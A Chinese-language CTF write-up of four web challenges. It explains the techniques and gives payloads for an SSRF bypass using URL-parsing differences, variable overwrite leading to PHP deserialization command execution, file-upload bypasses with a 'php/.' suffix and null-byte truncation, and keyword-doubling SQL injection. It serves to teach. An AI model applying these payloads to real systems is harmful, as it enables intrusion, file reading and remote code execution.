又被师傅们教育了,还是太菜了,代码审计还得继续学习。

Web1

what are you doing?

进去源码让我们看robots,发现source.php和flag.php,访问source.php让我们post一个admin给它。

如图,我们再伪造IP,经尝试,X-Client-IP可以成功伪造。

再添加参数url=http://www.ichunqiu.com

发现了一个download/553740661;img1.jpg 这样的地址,浏览器访问是一个损坏的图片,我们curl一下看原始数据

可以看到返回的内容其实是正常访问网页的返回的数据,然而这数据是访问什么网址返回的呢,对,就是我们输入url的参数http://www.ichunqiu.com,我们curl证实一下。

成功了。做到这就应该是ssrf了,通过服务端读到上面看到的flag.php的源码就行。不过题目限定了url为http://www.ichunqiu.com,怎么绕过呢。

这里是利用了libcurl和parse_url对网址解析方式的不同绕过的,详细看这简而言之,parse_url识别最后一个@后面的host,而libcurl识别的是第一个@后面的host。当代码先用parse_url识别host再判断是否curl时,我们可以这样构造url

http://@hacker.com@www.ichunqiu.com/

这样parse_url识别出了www.ichunqiu.com而libcurl却识别出了hacker.com,并且按照上面那篇博客直接忽略了www.ichunqiu.com。在这里我们可以改成127.0.0.1:80

http://@127.0.0.1:80@www.ichunqiu.com/index.php

可以看到,包含了index.php的内容说明成功了,现在我们直接构造payload拿到flag,注意file协议file://,由于file://是读本地文件的协议,所以不需要host但是还是保留了host的位置file://host/var/www/html/flag.php,而curl和浏览器都会忽略file协议的host所以输入啥都可以。

payload:url=file://@123@www.ichunqiu.com/var/www/html/flag.php

最后绕过的姿势根本没想到,Orz膜师傅们。

Web2

can you hack me?

.index.php.swp扫到源码,vi -r .index.php.swp 看到源码。

<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

简单的$$和parse_url变量覆盖问题(注意参数记得转义),不清楚的可以看这里 构造payload

?first=doller&a=var%3dgive%26bbb%3dme%26ccc%3dflag

这时我们已经可以从浏览器看到最里层的welcome!了,里面是一个反序列化导致代码执行的漏洞,关于反序列化漏洞可以看这里

从代码中我们可以发现,创建对象__construct()给对象赋予属性,__wakeup()通过waf()过滤了一遍参数,对象被销毁时会执行__destruct()并调用echo()函数执行命令。我们应该在本地反序列化,空格可以用tab代替,过滤了flag可以双写绕过。

按上图得到反序列化值,放到我们payload里就能执行ls命令。最后执行cat /flag拿到flag

Web3

代码审计

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);
    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }
?>

本地搭建一个一样代码环境。

看代码我们需要上传一个文件,POST一个file可以替换filename进行处理,POST一个hehe经过判断后include它。

$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
    $filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
    die("emmmm...");
}

需要绕过绕过上面代码,上面一个if只判断了非array的情况,我们POST一个file数组,file[]有多个数据,end($filename)取最后插入的那个,$filename[count($filename) - 1]取file[倒数第二个值],所以我们可以构造

file[1]=123,file[2]=123,file[3]=php #end取的是file[3],后面取的是file[2]。

$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
    include($_);
}
unlink($new_name);

这段代码就相当的坑了,比赛时我尝试了include是不能使用http://和data://和php://协议的。所以我最后想出,既然本地保存上传文件和unlink删掉上传文件是有时间差的,只要我开足够多的线程,最多在几分钟内就可以条件竞争碰撞出正好本次生成的$new_name为123.php,然后我每个线程都将hehe的值设置为123.php,那么一定能在unlink 123.php之前正好有一个线程include它执行我们的代码。在本地我也跑通了,可是可能远程的docker环境限制了访问线程还是网络问题,没能成功。

好了,不吐槽了TAT,正确题解是我们可以将后缀改为php/. 这样unlink就删不掉它,不用跑多少遍就可以执行代码了。

本地构造代码

<!DOCTYPE html>
<html>
<head>
    <title>1234</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="http://db4ca1f2f2ca463c86e554f0b58c46d77d4200367f2a4d55.game.ichunqiu.com/">
    <input type="file" name="file">
    <input type="text" name="file[1]">
    <input type="text" name="file[2]">
    <input type="text" name="file[3]">
    <input type="text" name="hehe">
    <input type="submit" name="submit">
</form>
</body>
</html>

按照上面的提交跑个一千次,远程环境里就有了几乎所有100-999.php且里面都写了@<?php phpinfo(); ?> 此时我们再访问几次肯定就能执行代码了。

最后拿到flag

Web4

web4进去有一个select guest

随便尝试一下发现可以注入

select_guest.php?id=1,有回显ip

select_guest.php?id=-1' or 1=1-- - 也有回显

fuzz一下union information_schema.tables information_schema.columns 被过滤但是information_schema . tables information_schema . columns 考虑盲注。

通过回显$content=str_replace($value,"",$content)可以看出有替换关键字,fuzz一下发现select和from被过滤双写即可绕过。

得到admin密码adminpassword

进去是一个注入页面,随便上传一个txt文件要求我们上传flag.php,然而禁止上传php。

如下图测试发现最终上传文件位置为uploaddir + filename。所以可以flag.ph + p拆分开来上传。最后的自动加的.txt可以用02字节截断。